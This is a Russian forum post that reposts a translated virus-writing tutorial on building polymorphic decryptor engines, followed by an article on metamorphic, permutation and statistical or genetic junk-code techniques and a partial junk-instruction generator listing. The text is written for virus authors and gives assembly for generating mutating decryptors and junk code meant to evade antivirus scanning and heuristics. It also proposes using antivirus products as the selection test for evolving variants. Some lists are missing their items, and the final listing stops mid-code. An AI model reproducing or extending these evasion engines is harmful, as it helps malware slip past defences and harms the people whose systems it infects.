Статейка длинная, но знающим будет интересна :evil: Введение Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна. Уровни полиморфизма У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE. Ха-ха. Я сделаю! Разве не приятно, когда один из AVеров делает чужую работу? Как я могу сделать полиморф? Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например: Код: mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1 Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим: - Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора: Код: shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h [...] Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу. Очень важная вещь: ГСЧ Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT. Код: random: in eax,40h ret Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался. Код: ;---[ CUT HERE ]------------------------------------------------------------- ; ; Тестировщик ГСЧ ; --------------- ; ; Если иконки на экране расположены действительно "случайным" образом, значит, ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы ; заметили странную последовательность в расположении иконок на экране, ; попробуйте другой ГСЧ. ; .386 .model flat res_x equ 800d ; Горизонтальное разрешение res_y equ 600d ; Вертикальное разрешение extrn LoadLibraryA:PROC ; Все APIs, которые нужны extrn LoadIconA:PROC ; тестировщику ГСЧ extrn DrawIcon:PROC extrn GetDC:PROC extrn GetProcAddress:PROC extrn GetTickCount:PROC extrn ExitProcess:PROC .data szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz-строка a_User32 dd 00000000h ; Требуемые переменные h_icon dd 00000000h dc_screen dd 00000000h rnd32_seed dd 00000000h rdtsc equ .code RNG_test: xor ebp,ebp ; Вах, я ленив и не удалил ; индексацию из кода... ; Есть проблемы? rdtsc mov dword ptr [ebp+rnd32_seed],eax lea eax,dword ptr [ebp+szUSER32] push eax call LoadLibraryA or eax,eax jz exit_payload mov dword ptr [ebp+a_User32],eax push 32512 xor edx,edx push edx call LoadIconA or eax,eax jz exit_payload mov dword ptr [ebp+h_icon],eax xor edx,edx push edx call GetDC or eax,eax jz exit_payload mov dword ptr [ebp+dc_screen],eax mov ecx,00000100h ; Помещаем 256 иконок на экран loop_payload: push eax push ecx mov edx,eax push dword ptr [ebp+h_icon] mov eax,res_y call get_rnd_range push eax mov eax,res_x call get_rnd_range push eax push dword ptr [ebp+dc_screen] call DrawIcon pop ecx pop eax loop loop_payload exit_payload: push 0 call ExitProcess ; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg) ; ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;) ; random proc push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,eax imul eax,41C64E6Dh add eax,00003039h mov dword ptr [ebp+rnd32_seed],eax xor eax,ecx pop edx pop ecx ret random endp get_rnd_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret get_rnd_range endp end RNG_test ;---[ CUT HERE ]------------------------------------------------------------- Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции . Основные концепции полиморфного движка Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть. Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример. Код: ;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (I) ; ---------------------------------- ; .386 ; Blah .model flat .data shit: buffer db 00h .code Silly_I: lea edi,buffer ; Указатель на буфер mov al,0C3h ; Байт, который нужно записать, находится в AL stosb ; Записать содержимое AL туда, куда указывает ; EDI jmp shit ; Байт, который мы записали, C3, является ; опкодом инструкции RET, т.е. мы заканчиваем ; выполнение end Silly_I ;---[ CUT HERE ]------------------------------------------------------------- Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций: Код: mov ecx,virus_size mov edi,offset crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1 Соответствено, код для генерации декриптора с нуля будет примерно следующим: Код: mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd ; сохранить EAX, куда указывает EDI mov al,0BFh : опкод MOV EDI,offset32 stosb ; сохраняем AL, куда указывает EDI mov eax,offset crypt ; 32-х битное сохраняемое смещение stosd ; сохраняем EAX, куда указывает EDI mov al,0B8h ; опкод MOV EAX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,crypt_key ; Imm32, который нужно сохранить stosd ; сохраняем EAX, куда указывает EDI mov ax,0731h ; опкод XOR [EDI],EAX stosw ; сохраняем AX, куда указывает EDI mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw ; сохраняем AX, куда указывает EDI mov al,04h ; Сохраняемый Imm32 (>7F) stosb ; сохраняем AL, куда указывает EDI mov ax,0F9E2h ; опкод LOOP @@1 stosw ; сохраняем AX, куда указывает EDI Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности. Код: ;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (II) ; ----------------------------------- ; .386 ; Blah .model flat virus_size equ 12345678h ; Фальшивые данные crypt equ 87654321h crypt_key equ 21436587h .data db 00h .code Silly_II: lea edi,buffer ; Указатель на буфер - это код ; возврата, мы заканчиваем ; выполнение mov al,0B9h ; Опкод MOV ECX,imm32 stosb ; Сохранить AL, куда указ. EDI mov eax,virus_size ; Непоср. знач., к-рое нужно сохр. stosd ; Сохр. EAX, куда указывает EDI call onebyte mov al,0BFh ; Опкод MOV EDI, offset32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt ; Offset32, который нужно сохранить stosd ; Сохр. EAX, куда указывает EDI call onebyte mov al,0B8h ; MOV EAX,imm32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt_key stosd ; Сохр. EAX, куда указывает EDI call onebyte mov ax,0731h ; Опкод XOR [EDI],EAX stosw ; Сохр. AX, куда указывает EDI mov ax,0C783h ; Опкод ADD EDI,imm32 (>7F) stosw ; Сохр. AX, куда указывает EDI mov al,04h ; Imm32 (>7F), который нужно сохр. stosb ; Сохр. AL, куда указывает EDI mov ax,0F9E2h ; Опкод LOOP @@1 stosw ; Сохр. AX, куда указывает EDI ret random: in eax,40h ; Чертов RNG ret onebyte: call random ; Получаем случайное число and eax,one_size ; Сделать его равным [0..7] mov al,[one_table+eax] ; Получить опкод в AL stosb ; Сохр. AL, куда указывает EDI ret one_table label byte ; Таблица однобайтных инструкций lahf sahf cbw clc stc cmc cld nop one_size equ ($-offset one_table)-1 buffer db 100h dup (90h) ; Простой буфер end Silly_II ;---[ CUT HERE ]------------------------------------------------------------- Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.
Код: Генерация "настоящего" кода Давайте взглянем на наш набор инструкций. Код: mov ecx,virus_size ; (1) lea edi,crypt ; (2) mov eax,crypt_key ; (3) @@1: xor dword ptr [edi],eax ; (4) add edi,4 ; (5) loop @@1 ; (6) Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее... - Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov: Код: mov ecx,virus_size или Код: push virus_size pop ecx или Код: mov ecx,not (virus_size) not ecx или Код: mov ecx,(virus_size xor 12345678h) xor ecx,12345678h и так далее, и так далее... Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны. - Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению. - Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора: Код: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc @@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр @@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик @@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7] cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой mov byte ptr [ebp+key],al ; Сохраняем его ret InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров. Генерация мусора Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка: - Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo. - Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а. Ок, тогда давай начнет: ¦ Общее для обоих случаев: - CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы ¦ Реалистичность: "Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур: - CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать) ¦ Mental Drillism... гхрм... Поврежденный код. Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно. Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам. • Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями: Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль. Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде. • Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор. Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов: • Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора. • То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг. • Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции: ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр). • Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас. • Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе. • Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов Дальше идет немного менталдриллизма . • Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем: f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1. Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор: Код: fwait fninit Генерация инструкций Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации: Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR... Код: xor edx,12345678h -> 81 F2 78563412 xor esi,12345678h -> 81 F6 78563412 Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму. Код: F2 -> 11 110 010 F6 -> 11 110 110 Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак... Код: 010 -> EDX 110 -> ESI Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать). Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко! Рекурсивность Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора: Код: PolyTable: dd offset (GenerateMOV) dd offset (GenerateCALL) dd offset (GeneratteJMP) [...] EndPolyTable: И представьте, что у вас есть следующая процедура для выбора между ними: Код: GenGarbage: mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax ret Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage': Код: GenGarbage: inc byte ptr [ebp+recursion_level] cmp byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень jae GarbageExit ; рекурсии mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax GarbageExit: dec byte ptr [ebp+recursion_level] ret Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде . Конечно, это также применимо к PUSH и POP . Заключение Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны! © wasm.ru
Продолжение: Полиморфизм. Новые техники. Полиморфизм всегда пользовался огромной популярностью у программистов. Но шло время и полиморфизм стал не столь популярен. Многие стали считать, что это вчерашний день. Я с ними соглашусь пожалуй, но как говорится: "Не все йогурты одинаково полезны". Классический полиморфизм в том виде, каком он был раньше, дальше использоваться не может. Сейчас мы рассмотрим последние техники полиморфизма и перспективы их применения. 1. Стэковый полиморфизм Первым написал простейший стэковый движок Rajaat, данный движок был очень простым и маленьким. Далее насколько я помню, была парочка вариаций на данную тему. И закончилось всё когда объединились Z0MBiE и Vecna. Их творение получило модное громогласное название - "Kewl Mutation Engine". Данный движок без ложной скромности, можно назвать шедевром стэкового полиморфизма. Теперь мы рассмотрим, в чём же заключается суть стэкового полиморфизма. Весь код который мы хотим скрыть(зашифровать) разбивается на двойные слова. И после этого формируется следующий код: Код: push Шифруемый Код push Шифруемый Код .... ............. push Шифруемый Код jmp esp Но такой код легко раскалывается даже алгоритмическими методами, без кодоэмуляции. Что делается чтобы этого не происходило? Производится линейная мутация кода, как вы видите инструкции в этом коде влияют только на стэк. И мы можем отмутировать инструкцию - "push Шифруемый Код", следующим образом: Код: mov eax,234 mov edx,Шифруемый Код-234 add edx,eax xchg edx,eax push eax И каждую инструкцию из этого блока мы то же можем сильно преобразовать. Этим мы заставим эмулировать, каждую инструкцию нашего кода. А как вы знаете, есть так называемая глубина эмуляции - это количество инструкций, на котором эмуляция прекращается. Теперь давайте поговорим об актуальности стэкового полиморфизма и его перспективах. С выходом новых процессоров запрещено исполнение кода в стэке. И это используется как SP2 для Windows XP, так и будет использоваться в Longhorn. Так что актуальность данного вида полиморфизма стремится к нулю. 2. Метаморфизм Я к данному виду полиморфизма отношу два типа мутаций: Когда весь код, вместе с движком разбивается на блоки и затем производится перестановка данных блоков и их связь. Когда весь код вируса представлен в виде псевдо кода и хранится в зашифрованном виде. И на базе этого псевдо кода, генерируется каждый раз новый код. Данные техники является достаточно сложными и не очень приятными. По следующим причинам: И в первом, и втором случаях достаточно сложно написать универсальный движок. По этой причине каждый раз эту технику необхоимо реализовывать заново. В первом случае получается ограниченное количество мутаций. Во втором случае возможно детектирование по зашифрованной части кода. 3. Пермутация Пермутация это преобразование уже готового кода. В этом направлении на данный момент наиболее продвинулся Z0MBiE. Но ещё в его старых движках, встречались благодарности некому Lord_ASD. Далее после него, в этой области продвинулись Vecna и SBVC. В чём же заключается пермутация? Базовым алгоритмом пермутирующих движков является дизассемблирование кода с последующей его мутацией и ассемблированием. Теперь рассмотрим пример алгоритма простейшего пермутирующего движка: Дизассемблируется по длинам все инструкции нашего кода и отмечатся условные и безусловные переходы. Инструкции заменяются синонимичными и между ними вставляются мусорные инструкции. Например: Код: ;----[Были инструкции]----------------; ... ............ mov eax,12345678 push eax .... ............ Далее эти инструкции преобразовались к виду: Код: ;----[Стали инструкции]---------------; ... ............ xor eax,eax nop add eax,12345678 nop push eax .... ............. Пересчитываются все переходы. Данный вид полиморфизма является одним из самых перспективных. По следующим причинам: Удобство (не лёгкость) написания движка Высокий уровень мутаций Необходимость эмуляции всех инструкций Не смотря на то, что данный вид полиморфизма известен уже достаточно давно, он не получил большого распространения, из-за сложности реализации. 4. Статистические методы и Генетические алгоритмы В данной части рассмотрим наиболее оптимальные модификации классических полиморфных движков. 1) Статистические методы Вы некогда не задумывались почему, ваши полиморфные движки так быстро детектируются? Вроде и инструкции использовали те же, что и обычные программы, и все виды переходов и подпрограмм. А всё равно детектируются! Да, инструкции были использованы те же, но в том ли количестве? Антивирусы так же смотрят на статистику встречи опкодов. Вы уже наверное догадались о чём пойдёт речь дальше? Для того, чтобы определить с какой вероятностью генерировать, ту или иную инструкцию. Мы должны собрать статистические данные по обыкновенным программам. Для этого мы можем либо написать сами программу, либо воспользоваться программой от Z0MBiE. После того, как мы проанализировали на количество различных опкодов, множество программ. Мы должны рассчитать мат. ожидания (средние) встречи различных опкодов. И на основе их, мы построим таблицу вероятностей встречи тех или иных опкодов в обыкновенных программах. После этого ваши декрипторы будут практически идентичны обыкновенным программам по статиситике опкодов. 2) Генетические алгоритмы Теория Дарвина утверждает, что все организмы изменяются и совершенствуются в процессе эволюции. Более приспособленные особи к своей среде обитания имеют больше возможностей выжить и принести потомство. Благодаря наследственности (генетической информации) родители передают потомкам, наиболее необходимую для выживания в данной среде информацию. Из-за этого механизма весь вид будет изменяться и в конце концов, его выживаемость значительно увеличиться. Генетический алгоритм - это реализация эволюционной теории в виде программы. ГА работают с популяцией особей и и расставляя им вероятности по характеристикам её "выживаемости" или "приспособленности". Наиболее приспособленные особи - это те особи которые достаточно "хорошо" решают поставленную задачу. Данные особи скрещиваются друг с другом. Поэтому все хорошие характеристики остаются в популяции, а плохие уходят вместе с их не "приспособленными" носителями. Генетические Алгоритмы чаще всего используют две функции: Кроссовер - это скрещивание наиболее выживаемых особей. Мутация - это изменение случайных характеристик особи. Теперь перейдём к реализации эволюционных алгоритмов в полиморфных движках. Мы будем применять ГА к нашему полиморфному движку с статистическими вероятностями. Алгоритм генератора мусора с статистическими вероятностями и ГА: Генерируется код по статистическим вероятностям Выбираются случайно и мутируют два стат. признака (1 раз в 10 поколений). Это наша реализация мутации. Выбираются два определяющих стат. признака и изменяются каждое поколение. Это наш кроссовер. В качестве отсеивающего признака эволюции будут выступать антивирусные программы. Если особь активна, считается что она прошла отбор. И она продолжает свой подъём или спуск по лестнице эволюции. Продолжение ниже:
В качестве примера реализации данной техники приводится: Код: ;----[Резать здесь]--------------------------------------------------------; ; ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ V.0.4(x) 2004 СЛОН http://slon.wronger.com ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; Использование: mov edi,БУФЕР ДЛЯ КОДА ; ; mov ecx,ДЛИНА КОДА ; ; mov ebx,НЕ ИСПОЛЬЗУЕМЫЕ РЕГИСТРЫ(_all) ; ; call garbage ; ;--------------------------------------------------------------------------; ; Результат: сгенерированный код в edi ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ВЕРСИЯ 0.3 Генерация инструкций по заданным статистическим ; ; характерстикиам(они получены в результате анализа ; ; большого количества файлов формата "PE") ; ;--------------------------------------------------------------------------; ; ВЕРСИЯ 0.2 Добавлены новые инструкции x86, так же добавлены ; ; инструкции сопроцессора (x87) ; ;--------------------------------------------------------------------------; ; ВЕРСИЯ 0.1 Реализация многих инструкций x86 процессора, ; ; случайная комбинация инструкций ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ;----[Главная подпрограмма генератора мусора]------------------------------; garbage: ; Подпрограмма генерации ; мусорных инструкций push edx ; Сохраняем в стэке push ecx ; edx, ecx, esi, ebp, ecx, push esi ; eax push ebp ; push ebx ; push eax ; call delta_offset ; delta_offset: pop ebp ; Получаем дельта смещение sub ebp,offset delta_offset ; call r_init ; Инициалицируем ГСЧ __st__: test ecx,ecx ; Если все инструкции jz landing ; сгенерированы, то на выход mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 call __freq__ ; Выбираем блок инструкций ; по статистической ; вероятности test eax,eax ; Если не выбрали, то jz __st__ ; пытаемся снова lea esi,[ebp+mega_table] ; В esi смещение на таблицу ; относительных смещений add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем ; относительное смещение от ; метки __st__ lea esi,[ebp+__st__] ; В esi кладём смещение ; метки __st__ add eax,esi ; Добавляем смещение ; подпрограммы call eax ; Вызываем её jmp __st__ ; Переход на __st__ ;----[Завершение работы генератора мусора]---------------------------------; landing: 